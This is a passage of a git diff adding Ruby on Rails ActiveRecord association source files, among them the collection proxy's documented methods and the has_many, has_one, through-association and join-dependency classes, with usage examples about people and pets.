+ # # => [
+ # # #<Pet name: "Fancy-Fancy">,
+ # # #<Pet name: "Fancy-Fancy">
+ # # ]
+ #
+ # person.pets.select(:name).distinct
+ # # => [#<Pet name: "Fancy-Fancy">]
+ def distinct
+ @association.distinct
+ end
+ alias uniq distinct
+
+ # Count all records using SQL.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.count # => 3
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ def count(column_name = nil, options = {})
+ @association.count(column_name, options)
+ end
+
+ # Returns the size of the collection. If the collection hasn't been loaded,
+ # it executes a <tt>SELECT COUNT(*)</tt> query. Else it calls <tt>collection.size</tt>.
+ #
+ # If the collection has been already loaded +size+ and +length+ are
+ # equivalent. If not and you are going to need the records anyway
+ # +length+ will take one less query. Otherwise +size+ is more efficient.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.size # => 3
+ # # executes something like SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" = 1
+ #
+ # person.pets # This will execute a SELECT * FROM query
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ #
+ # person.pets.size # => 3
+ # # Because the collection is already loaded, this will behave like
+ # # collection.size and no SQL count query is executed.
+ def size
+ @association.size
+ end
+
+ # Returns the size of the collection calling +size+ on the target.
+ # If the collection has been already loaded, +length+ and +size+ are
+ # equivalent. If not and you are going to need the records anyway this
+ # method will take one less query. Otherwise +size+ is more efficient.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.length # => 3
+ # # executes something like SELECT "pets".* FROM "pets" WHERE "pets"."person_id" = 1
+ #
+ # # Because the collection is loaded, you can
+ # # call the collection with no additional queries:
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ def length
+ @association.length
+ end
+
+ # Returns +true+ if the collection is empty. If the collection has been
+ # loaded or the <tt>:counter_sql</tt> option is provided, it is equivalent
+ # to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
+ # it is equivalent to <tt>collection.exists?</tt>. If the collection has
+ # not already been loaded and you are going to fetch the records anyway it
+ # is better to check <tt>collection.length.zero?</tt>.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.count # => 1
+ # person.pets.empty? # => false
+ #
+ # person.pets.delete_all
+ #
+ # person.pets.count # => 0
+ # person.pets.empty? # => true
+ def empty?
+ @association.empty?
+ end
+
+ # Returns +true+ if the collection is not empty.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.count # => 0
+ # person.pets.any? # => false
+ #
+ # person.pets << Pet.new(name: 'Snoop')
+ # person.pets.count # => 0
+ # person.pets.any? # => true
+ #
+ # You can also pass a block to define criteria. The behavior
+ # is the same, it returns true if the collection based on the
+ # criteria is not empty.
+ #
+ # person.pets
+ # # => [#<Pet name: "Snoop", group: "dogs">]
+ #
+ # person.pets.any? do |pet|
+ # pet.group == 'cats'
+ # end
+ # # => false
+ #
+ # person.pets.any? do |pet|
+ # pet.group == 'dogs'
+ # end
+ # # => true
+ def any?(&block)
+ @association.any?(&block)
+ end
+
+ # Returns true if the collection has more than one record.
+ # Equivalent to <tt>collection.size > 1</tt>.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.count #=> 1
+ # person.pets.many? #=> false
+ #
+ # person.pets << Pet.new(name: 'Snoopy')
+ # person.pets.count #=> 2
+ # person.pets.many? #=> true
+ #
+ # You can also pass a block to define criteria. The
+ # behavior is the same, it returns true if the collection
+ # based on the criteria has more than one record.
+ #
+ # person.pets
+ # # => [
+ # # #<Pet name: "Gorby", group: "cats">,
+ # # #<Pet name: "Puff", group: "cats">,
+ # # #<Pet name: "Snoop", group: "dogs">
+ # # ]
+ #
+ # person.pets.many? do |pet|
+ # pet.group == 'dogs'
+ # end
+ # # => false
+ #
+ # person.pets.many? do |pet|
+ # pet.group == 'cats'
+ # end
+ # # => true
+ def many?(&block)
+ @association.many?(&block)
+ end
+
+ # Returns +true+ if the given object is present in the collection.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets # => [#<Pet id: 20, name: "Snoop">]
+ #
+ # person.pets.include?(Pet.find(20)) # => true
+ # person.pets.include?(Pet.find(21)) # => false
+ def include?(record)
+ @association.include?(record)
+ end
+
+ def proxy_association
+ @association
+ end
+
+ # We don't want this object to be put on the scoping stack, because
+ # that could create an infinite loop where we call an @association
+ # method, which gets the current scope, which is this object, which
+ # delegates to @association, and so on.
+ def scoping
+ @association.scope.scoping { yield }
+ end
+
+ # Returns a <tt>Relation</tt> object for the records in this association
+ def scope
+ @association.scope.tap do |scope|
+ scope.proxy_association = @association
+ end
+ end
+
+ # :nodoc:
+ alias spawn scope
+
+ # Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
+ # contain the same number of elements and if each element is equal
+ # to the corresponding element in the other array, otherwise returns
+ # +false+.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>
+ # # ]
+ #
+ # other = person.pets.to_ary
+ #
+ # person.pets == other
+ # # => true
+ #
+ # other = [Pet.new(id: 1), Pet.new(id: 2)]
+ #
+ # person.pets == other
+ # # => false
+ def ==(other)
+ load_target == other
+ end
+
+ # Returns a new array of objects from the collection. If the collection
+ # hasn't been loaded, it fetches the records from the database.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets
+ # # => [
+ # # #<Pet id: 4, name: "Benny", person_id: 1>,
+ # # #<Pet id: 5, name: "Brain", person_id: 1>,
+ # # #<Pet id: 6, name: "Boss", person_id: 1>
+ # # ]
+ #
+ # other_pets = person.pets.to_ary
+ # # => [
+ # # #<Pet id: 4, name: "Benny", person_id: 1>,
+ # # #<Pet id: 5, name: "Brain", person_id: 1>,
+ # # #<Pet id: 6, name: "Boss", person_id: 1>
+ # # ]
+ #
+ # other_pets.replace([Pet.new(name: 'BooGoo')])
+ #
+ # other_pets
+ # # => [#<Pet id: nil, name: "BooGoo", person_id: 1>]
+ #
+ # person.pets
+ # # This is not affected by replace
+ # # => [
+ # # #<Pet id: 4, name: "Benny", person_id: 1>,
+ # # #<Pet id: 5, name: "Brain", person_id: 1>,
+ # # #<Pet id: 6, name: "Boss", person_id: 1>
+ # # ]
+ def to_ary
+ load_target.dup
+ end
+ alias_method :to_a, :to_ary
+
+ # Adds one or more +records+ to the collection by setting their foreign keys
+ # to the association's primary key. Returns +self+, so several appends may be
+ # chained together.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets.size # => 0
+ # person.pets << Pet.new(name: 'Fancy-Fancy')
+ # person.pets << [Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo')]
+ # person.pets.size # => 3
+ #
+ # person.id # => 1
+ # person.pets
+ # # => [
+ # # #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+ # # #<Pet id: 2, name: "Spook", person_id: 1>,
+ # # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+ # # ]
+ def <<(*records)
+ proxy_association.concat(records) && self
+ end
+ alias_method :push, :<<
+ alias_method :append, :<<
+
+ def prepend(*args)
+ raise NoMethodError, "prepend on association is not defined. Please use << or append"
+ end
+
+ # Equivalent to +delete_all+. The difference is that returns +self+, instead
+ # of an array with the deleted objects, so methods can be chained. See
+ # +delete_all+ for more information.
+ def clear
+ delete_all
+ self
+ end
+
+ # Reloads the collection from the database. Returns +self+.
+ # Equivalent to <tt>collection(true)</tt>.
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # person.pets # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets # uses the pets cache
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets.reload # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ #
+ # person.pets(true) # fetches pets from the database
+ # # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+ def reload
+ proxy_association.reload
+ self
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
new file mode 100644
index 0000000..bb3e3db
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
@@ -0,0 +1,65 @@
+module ActiveRecord
+ # = Active Record Has And Belongs To Many Association
+ module Associations
+ class HasAndBelongsToManyAssociation < CollectionAssociation #:nodoc:
+ attr_reader :join_table
+
+ def initialize(owner, reflection)
+ @join_table = Arel::Table.new(reflection.join_table)
+ super
+ end
+
+ def insert_record(record, validate = true, raise = false)
+ if record.new_record?
+ if raise
+ record.save!(:validate => validate)
+ else
+ return unless record.save(:validate => validate)
+ end
+ end
+
+ if options[:insert_sql]
+ owner.connection.insert(interpolate(options[:insert_sql], record))
+ else
+ stmt = join_table.compile_insert(
+ join_table[reflection.foreign_key] => owner.id,
+ join_table[reflection.association_foreign_key] => record.id
+ )
+
+ owner.class.connection.insert stmt
+ end
+
+ record
+ end
+
+ private
+
+ def count_records
+ load_target.size
+ end
+
+ def delete_records(records, method)
+ if sql = options[:delete_sql]
+ records = load_target if records == :all
+ records.each { |record| owner.class.connection.delete(interpolate(sql, record)) }
+ else
+ relation = join_table
+ condition = relation[reflection.foreign_key].eq(owner.id)
+
+ unless records == :all
+ condition = condition.and(
+ relation[reflection.association_foreign_key]
+ .in(records.map { |x| x.id }.compact)
+ )
+ end
+
+ owner.class.connection.delete(relation.where(condition).compile_delete)
+ end
+ end
+
+ def invertible_for?(record)
+ false
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
new file mode 100644
index 0000000..29fae80
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -0,0 +1,135 @@
+module ActiveRecord
+ # = Active Record Has Many Association
+ module Associations
+ # This is the proxy that handles a has many association.
+ #
+ # If the association has a <tt>:through</tt> option further specialization
+ # is provided by its child HasManyThroughAssociation.
+ class HasManyAssociation < CollectionAssociation #:nodoc:
+
+ def handle_dependency
+ case options[:dependent]
+ when :restrict, :restrict_with_exception
+ raise ActiveRecord::DeleteRestrictionError.new(reflection.name) unless empty?
+
+ when :restrict_with_error
+ unless empty?
+ record = klass.human_attribute_name(reflection.name).downcase
+ owner.errors.add(:base, :"restrict_dependent_destroy.many", record: record)
+ false
+ end
+
+ else
+ if options[:dependent] == :destroy
+ # No point in executing the counter update since we're going to destroy the parent anyway
+ load_target.each { |t| t.destroyed_by_association = reflection }
+ destroy_all
+ else
+ delete_all
+ end
+ end
+ end
+
+ def insert_record(record, validate = true, raise = false)
+ set_owner_attributes(record)
+
+ if raise
+ record.save!(:validate => validate)
+ else
+ record.save(:validate => validate)
+ end
+ end
+
+ private
+
+ # Returns the number of records in this collection.
+ #
+ # If the association has a counter cache it gets that value. Otherwise
+ # it will attempt to do a count via SQL, bounded to <tt>:limit</tt> if
+ # there's one. Some configuration options like :group make it impossible
+ # to do an SQL count, in those cases the array count will be used.
+ #
+ # That does not depend on whether the collection has already been loaded
+ # or not. The +size+ method is the one that takes the loaded flag into
+ # account and delegates to +count_records+ if needed.
+ #
+ # If the collection is empty the target is set to an empty array and
+ # the loaded flag is set to true as well.
+ def count_records
+ count = if has_cached_counter?
+ owner.send(:read_attribute, cached_counter_attribute_name)
+ elsif options[:counter_sql] || options[:finder_sql]
+ reflection.klass.count_by_sql(custom_counter_sql)
+ else
+ scope.count
+ end
+
+ # If there's nothing in the database and @target has no new records
+ # we are certain the current target is an empty array. This is a
+ # documented side-effect of the method that may avoid an extra SELECT.
+ @target ||= [] and loaded! if count == 0
+
+ [association_scope.limit_value, count].compact.min
+ end
+
+ def has_cached_counter?(reflection = reflection)
+ owner.attribute_present?(cached_counter_attribute_name(reflection))
+ end
+
+ def cached_counter_attribute_name(reflection = reflection)
+ options[:counter_cache] || "#{reflection.name}_count"
+ end
+
+ def update_counter(difference, reflection = reflection)
+ if has_cached_counter?(reflection)
+ counter = cached_counter_attribute_name(reflection)
+ owner.class.update_counters(owner.id, counter => difference)
+ owner[counter] += difference
+ owner.changed_attributes.delete(counter) # eww
+ end
+ end
+
+ # This shit is nasty. We need to avoid the following situation:
+ #
+ # * An associated record is deleted via record.destroy
+ # * Hence the callbacks run, and they find a belongs_to on the record with a
+ # :counter_cache options which points back at our owner. So they update the
+ # counter cache.
+ # * In which case, we must make sure to *not* update the counter cache, or else
+ # it will be decremented twice.
+ #
+ # Hence this method.
+ def inverse_updates_counter_cache?(reflection = reflection)
+ counter_name = cached_counter_attribute_name(reflection)
+ reflection.klass.reflect_on_all_associations(:belongs_to).any? { |inverse_reflection|
+ inverse_reflection.counter_cache_column == counter_name
+ }
+ end
+
+ # Deletes the records according to the <tt>:dependent</tt> option.
+ def delete_records(records, method)
+ if method == :destroy
+ records.each { |r| r.destroy }
+ update_counter(-records.length) unless inverse_updates_counter_cache?
+ else
+ if records == :all
+ scope = self.scope
+ else
+ keys = records.map { |r| r[reflection.association_primary_key] }
+ scope = self.scope.where(reflection.association_primary_key => keys)
+ end
+
+ if method == :delete_all
+ update_counter(-scope.delete_all)
+ else
+ update_counter(-scope.update_all(reflection.foreign_key => nil))
+ end
+ end
+ end
+
+ def foreign_key_present?
+ owner.attribute_present?(reflection.association_primary_key)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
new file mode 100644
index 0000000..a74dd1c
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -0,0 +1,197 @@
+
+module ActiveRecord
+ # = Active Record Has Many Through Association
+ module Associations
+ class HasManyThroughAssociation < HasManyAssociation #:nodoc:
+ include ThroughAssociation
+
+ def initialize(owner, reflection)
+ super
+
+ @through_records = {}
+ @through_association = nil
+ end
+
+ # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been
+ # loaded and calling collection.size if it has. If it's more likely than not that the collection does
+ # have a size larger than zero, and you need to fetch that collection afterwards, it'll take one fewer
+ # SELECT query if you use #length.
+ def size
+ if has_cached_counter?
+ owner.send(:read_attribute, cached_counter_attribute_name)
+ elsif loaded?
+ target.size
+ else
+ count
+ end
+ end
+
+ def concat(*records)
+ unless owner.new_record?
+ records.flatten.each do |record|
+ raise_on_type_mismatch!(record)
+ record.save! if record.new_record?
+ end
+ end
+
+ super
+ end
+
+ def concat_records(records)
+ ensure_not_nested
+
+ records = super
+
+ if owner.new_record? && records
+ records.flatten.each do |record|
+ build_through_record(record)
+ end
+ end
+
+ records
+ end
+
+ def insert_record(record, validate = true, raise = false)
+ ensure_not_nested
+
+ if record.new_record?
+ if raise
+ record.save!(:validate => validate)
+ else
+ return unless record.save(:validate => validate)
+ end
+ end
+
+ save_through_record(record)
+ update_counter(1)
+ record
+ end
+
+ private
+
+ def through_association
+ @through_association ||= owner.association(through_reflection.name)
+ end
+
+ # We temporarily cache through record that has been build, because if we build a
+ # through record in build_record and then subsequently call insert_record, then we
+ # want to use the exact same object.
+ #
+ # However, after insert_record has been called, we clear the cache entry because
+ # we want it to be possible to have multiple instances of the same record in an
+ # association
+ def build_through_record(record)
+ @through_records[record.object_id] ||= begin
+ ensure_mutable
+
+ through_record = through_association.build
+ through_record.send("#{source_reflection.name}=", record)
+ through_record
+ end
+ end
+
+ def save_through_record(record)
+ build_through_record(record).save!
+ ensure
+ @through_records.delete(record.object_id)
+ end
+
+ def build_record(attributes)
+ ensure_not_nested
+
+ record = super(attributes)
+
+ inverse = source_reflection.inverse_of
+ if inverse
+ if inverse.macro == :has_many
+ record.send(inverse.name) << build_through_record(record)
+ elsif inverse.macro == :has_one
+ record.send("#{inverse.name}=", build_through_record(record))
+ end
+ end
+
+ record
+ end
+
+ def target_reflection_has_associated_record?
+ !(through_reflection.macro == :belongs_to && owner[through_reflection.foreign_key].blank?)
+ end
+
+ def update_through_counter?(method)
+ case method
+ when :destroy
+ !inverse_updates_counter_cache?(through_reflection)
+ when :nullify
+ false
+ else
+ true
+ end
+ end
+
+ def delete_records(records, method)
+ ensure_not_nested
+
+ # This is unoptimised; it will load all the target records
+ # even when we just want to delete everything.
+ records = load_target if records == :all
+
+ scope = through_association.scope
+ scope.where! construct_join_attributes(*records)
+
+ case method
+ when :destroy
+ count = scope.destroy_all.length
+ when :nullify
+ count = scope.update_all(source_reflection.foreign_key => nil)
+ else
+ count = scope.delete_all
+ end
+
+ delete_through_records(records)
+
+ if source_reflection.options[:counter_cache]
+ counter = source_reflection.counter_cache_column
+ klass.decrement_counter counter, records.map(&:id)
+ end
+
+ if through_reflection.macro == :has_many && update_through_counter?(method)
+ update_counter(-count, through_reflection)
+ end
+
+ update_counter(-count)
+ end
+
+ def through_records_for(record)
+ attributes = construct_join_attributes(record)
+ candidates = Array.wrap(through_association.target)
+ candidates.find_all { |c| c.attributes.slice(*attributes.keys) == attributes }
+ end
+
+ def delete_through_records(records)
+ records.each do |record|
+ through_records = through_records_for(record)
+
+ if through_reflection.macro == :has_many
+ through_records.each { |r| through_association.target.delete(r) }
+ else
+ if through_records.include?(through_association.target)
+ through_association.target = nil
+ end
+ end
+
+ @through_records.delete(record.object_id)
+ end
+ end
+
+ def find_target
+ return [] unless target_reflection_has_associated_record?
+ scope.to_a
+ end
+
+ # NOTE - not sure that we can actually cope with inverses here
+ def invertible_for?(record)
+ false
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
new file mode 100644
index 0000000..98bd010
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -0,0 +1,103 @@
+
+module ActiveRecord
+ # = Active Record Belongs To Has One Association
+ module Associations
+ class HasOneAssociation < SingularAssociation #:nodoc:
+
+ def handle_dependency
+ case options[:dependent]
+ when :restrict, :restrict_with_exception
+ raise ActiveRecord::DeleteRestrictionError.new(reflection.name) if load_target
+
+ when :restrict_with_error
+ if load_target
+ record = klass.human_attribute_name(reflection.name).downcase
+ owner.errors.add(:base, :"restrict_dependent_destroy.one", record: record)
+ false
+ end
+
+ else
+ delete
+ end
+ end
+
+ def replace(record, save = true)
+ raise_on_type_mismatch!(record) if record
+ load_target
+
+ # If target and record are nil, or target is equal to record,
+ # we don't need to have transaction.
+ if (target || record) && target != record
+ transaction_if(save) do
+ remove_target!(options[:dependent]) if target && !target.destroyed?
+
+ if record
+ set_owner_attributes(record)
+ set_inverse_instance(record)
+
+ if owner.persisted? && save && !record.save
+ nullify_owner_attributes(record)
+ set_owner_attributes(target) if target
+ raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
+ end
+ end
+ end
+ end
+
+ self.target = record
+ end
+
+ def delete(method = options[:dependent])
+ if load_target
+ case method
+ when :delete
+ target.delete
+ when :destroy
+ target.destroy
+ when :nullify
+ target.update_columns(reflection.foreign_key => nil)
+ end
+ end
+ end
+
+ private
+
+ # The reason that the save param for replace is false, if for create (not just build),
+ # is because the setting of the foreign keys is actually handled by the scoping when
+ # the record is instantiated, and so they are set straight away and do not need to be
+ # updated within replace.
+ def set_new_record(record)
+ replace(record, false)
+ end
+
+ def remove_target!(method)
+ case method
+ when :delete
+ target.delete
+ when :destroy
+ target.destroy
+ else
+ nullify_owner_attributes(target)
+
+ if target.persisted? && owner.persisted? && !target.save
+ set_owner_attributes(target)
+ raise RecordNotSaved, "Failed to remove the existing associated #{reflection.name}. " +
+ "The record failed to save after its foreign key was set to nil."
+ end
+ end
+ end
+
+ def nullify_owner_attributes(record)
+ record[reflection.foreign_key] = nil
+ end
+
+ def transaction_if(value)
+ if value
+ reflection.klass.transaction { yield }
+ else
+ yield
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/has_one_through_association.rb b/activerecord/lib/active_record/associations/has_one_through_association.rb
new file mode 100644
index 0000000..08e0ec6
--- /dev/null
+++ b/activerecord/lib/active_record/associations/has_one_through_association.rb
@@ -0,0 +1,36 @@
+module ActiveRecord
+ # = Active Record Has One Through Association
+ module Associations
+ class HasOneThroughAssociation < HasOneAssociation #:nodoc:
+ include ThroughAssociation
+
+ def replace(record)
+ create_through_record(record)
+ self.target = record
+ end
+
+ private
+
+ def create_through_record(record)
+ ensure_not_nested
+
+ through_proxy = owner.association(through_reflection.name)
+ through_record = through_proxy.send(:load_target)
+
+ if through_record && !record
+ through_record.destroy
+ elsif record
+ attributes = construct_join_attributes(record)
+
+ if through_record
+ through_record.update(attributes)
+ elsif owner.new_record?
+ through_proxy.build(attributes)
+ else
+ through_proxy.create(attributes)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
new file mode 100644
index 0000000..28e081c
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -0,0 +1,235 @@
+module ActiveRecord
+ module Associations
+ class JoinDependency # :nodoc:
+ autoload :JoinPart, 'active_record/associations/join_dependency/join_part'
+ autoload :JoinBase, 'active_record/associations/join_dependency/join_base'
+ autoload :JoinAssociation, 'active_record/associations/join_dependency/join_association'
+
+ attr_reader :join_parts, :reflections, :alias_tracker, :base_klass
+
+ # base is the base class on which operation is taking place.
+ # associations is the list of associations which are joined using hash, symbol or array.
+ # joins is the list of all string join commnads and arel nodes.
+ #
+ # Example :
+ #
+ # class Physician < ActiveRecord::Base
+ # has_many :appointments
+ # has_many :patients, through: :appointments
+ # end
+ #
+ # If I execute `@physician.patients.to_a` then
+ # base #=> Physician
+ # associations #=> []
+ # joins #=> [#<Arel::Nodes::InnerJoin: ...]
+ #
+ # However if I execute `Physician.joins(:appointments).to_a` then
+ # base #=> Physician
+ # associations #=> [:appointments]
+ # joins #=> []
+ #
+ def initialize(base, associations, joins)
+ @base_klass = base
+ @table_joins = joins
+ @join_parts = [JoinBase.new(base)]
+ @associations = {}
+ @reflections = []
+ @alias_tracker = AliasTracker.new(base.connection, joins)
+ @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1
+ build(associations)
+ end
+
+ def graft(*associations)
+ associations.each do |association|
+ join_associations.detect {|a| association == a} ||
+ build(association.reflection.name, association.find_parent_in(self) || join_base, association.join_type)
+ end
+ self
+ end
+
+ def join_associations
+ join_parts.last(join_parts.length - 1)
+ end
+
+ def join_base
+ join_parts.first
+ end
+
+ def columns
+ join_parts.collect { |join_part|
+ table = join_part.aliased_table
+ join_part.column_names_with_alias.collect{ |column_name, aliased_name|
+ table[column_name].as Arel.sql(aliased_name)
+ }
+ }.flatten
+ end
+
+ def instantiate(rows)
+ primary_key = join_base.aliased_primary_key
+ parents = {}
+
+ records = rows.map { |model|
+ primary_id = model[primary_key]
+ parent = parents[primary_id] ||= join_base.instantiate(model)
+ construct(parent, @associations, join_associations, model)
+ parent
+ }.uniq
+
+ remove_duplicate_results!(base_klass, records, @associations)
+ records
+ end
+
+ protected
+
+ def remove_duplicate_results!(base, records, associations)
+ case associations
+ when Symbol, String
+ reflection = base.reflections[associations]
+ remove_uniq_by_reflection(reflection, records)
+ when Array
+ associations.each do |association|
+ remove_duplicate_results!(base, records, association)
+ end
+ when Hash
+ associations.each_key do |name|
+ reflection = base.reflections[name]
+ remove_uniq_by_reflection(reflection, records)
+
+ parent_records = []
+ records.each do |record|
+ if descendant = record.send(reflection.name)
+ if reflection.collection?
+ parent_records.concat descendant.target.uniq
+ else
+ parent_records << descendant
+ end
+ end
+ end
+
+ remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
+ end
+ end
+ end
+
+ def cache_joined_association(association)
+ associations = []
+ parent = association.parent
+ while parent != join_base
+ associations.unshift(parent.reflection.name)
+ parent = parent.parent
+ end
+ ref = @associations
+ associations.each do |key|
+ ref = ref[key]
+ end
+ ref[association.reflection.name] ||= {}
+ end
+
+ def build(associations, parent = nil, join_type = Arel::InnerJoin)
+ parent ||= join_parts.last
+ case associations
+ when Symbol, String
+ reflection = parent.reflections[associations.intern] or
+ raise ConfigurationError, "Association named '#{ associations }' was not found on #{ parent.base_klass.name }; perhaps you misspelled it?"
+ unless join_association = find_join_association(reflection, parent)
+ @reflections << reflection
+ join_association = build_join_association(reflection, parent)
+ join_association.join_type = join_type
+ @join_parts << join_association
+ cache_joined_association(join_association)
+ end
+ join_association
+ when Array
+ associations.each do |association|
+ build(association, parent, join_type)
+ end
+ when Hash
+ associations.keys.sort_by { |a| a.to_s }.each do |name|
+ join_association = build(name, parent, join_type)
+ build(associations[name], join_association, join_type)
+ end
+ else
+ raise ConfigurationError, associations.inspect
+ end
+ end
+
+ def find_join_association(name_or_reflection, parent)
+ if String === name_or_reflection
+ name_or_reflection = name_or_reflection.to_sym
+ end
+
+ join_associations.detect { |j|
+ j.reflection == name_or_reflection && j.parent == parent
+ }
+ end
+
+ def remove_uniq_by_reflection(reflection, records)
+ if reflection && reflection.collection?
+ records.each { |record| record.send(reflection.name).target.uniq! }
+ end
+ end
+
+ def build_join_association(reflection, parent)
+ JoinAssociation.new(reflection, self, parent)
+ end
+
+ def construct(parent, associations, join_parts, row)
+ case associations
+ when Symbol, String
+ name = associations.to_s
+
+ join_part = join_parts.detect { |j|
+ j.reflection.name.to_s == name &&
+ j.parent_table_name == parent.class.table_name }
+
+ raise(ConfigurationError, "No such association") unless join_part
+
+ join_parts.delete(join_part)
+ construct_association(parent, join_part, row)
+ when Array
+ associations.each do |association|
+ construct(parent, association, join_parts, row)
+ end
+ when Hash
+ associations.sort_by { |k,_| k.to_s }.each do |association_name, assoc|
+ association = construct(parent, association_name, join_parts, row)
+ construct(association, assoc, join_parts, row) if association
+ end
+ else
+ raise ConfigurationError, associations.inspect
+ end
+ end
+
+ def construct_association(record, join_part, row)
+ return if record.id.to_s != join_part.parent.record_id(row).to_s
+
+ macro = join_part.reflection.macro
+ if macro == :has_one
+ return record.association(join_part.reflection.name).target if record.association_cache.key?(join_part.reflection.name)
+ association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
+ set_target_and_inverse(join_part, association, record)
+ else
+ association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
+ case macro
+ when :has_many, :has_and_belongs_to_many
+ other = record.association(join_part.reflection.name)
+ other.loaded!
+ other.target.push(association) if association
+ other.set_inverse_instance(association)
+ when :belongs_to
+ set_target_and_inverse(join_part, association, record)
+ else
+ raise ConfigurationError, "unknown macro: #{join_part.reflection.macro}"
+ end
+ end
+ association
+ end
+
+ def set_target_and_inverse(join_part, association, record)
+ other = record.association(join_part.reflection.name)
+ other.target = association
+ other.set_inverse_instance(association)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
new file mode 100644
index 0000000..e4d1745
--- /dev/null
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -0,0 +1,174 @@
+module ActiveRecord
+ module Associations
+ class JoinDependency # :nodoc:
+ class JoinAssociation < JoinPart # :nodoc:
+ include JoinHelper
+
+ # The reflection of the association represented
+ attr_reader :reflection
+
+ # The JoinDependency object which this JoinAssociation exists within. This is mainly
+ # relevant for generating aliases which do not conflict with other joins which are
+ # part of the query.
+ attr_reader :join_dependency
+
+ # A JoinBase instance representing the active record we are joining onto.
+ # (So in Author.has_many :posts, the Author would be that base record.)
+ attr_reader :parent
+
+ # What type of join will be generated, either Arel::InnerJoin (default) or Arel::OuterJoin
+ attr_accessor :join_type
+
+ # These implement abstract methods from the superclass
+ attr_reader :aliased_prefix
+
+ attr_reader :tables
+
+ delegate :options, :through_reflection, :source_reflection, :chain, :to => :reflection
+ delegate :table, :table_name, :to => :parent, :prefix => :parent
+ delegate :alias_tracker, :to => :join_dependency
+
+ alias :alias_suffix :parent_table_name
+
+ def initialize(reflection, join_dependency, parent = nil)
+ reflection.check_validity!
+
+ if reflection.options[:polymorphic]
+ raise EagerLoadPolymorphicError.new(reflection)
+ end
+
+ super(reflection.klass)
+
+ @reflection = reflection
+ @join_dependency = join_dependency
+ @parent = parent
+ @join_type = Arel::InnerJoin
+ @aliased_prefix = "t#{ join_dependency.join_parts.size }"
+ @tables = construct_tables.reverse
+ end
+
+ def ==(other)
+ other.class == self.class &&
+ other.reflection == reflection &&
+ other.parent == parent
+ end
+
+ def find_parent_in(other_join_dependency)
+ other_join_dependency.join_parts.detect do |join_part|
+ case parent
+ when JoinBase
+ parent.base_klass == join_part.base_klass
+ else
+ parent == join_part
+ end
+ end
+ end
+
+ def join_to(manager)
+ tables = @tables.dup
+ foreign_table = parent_table
+ foreign_klass = parent.base_klass
+
+ # The chain starts with the target table, but we want to end with it here (makes
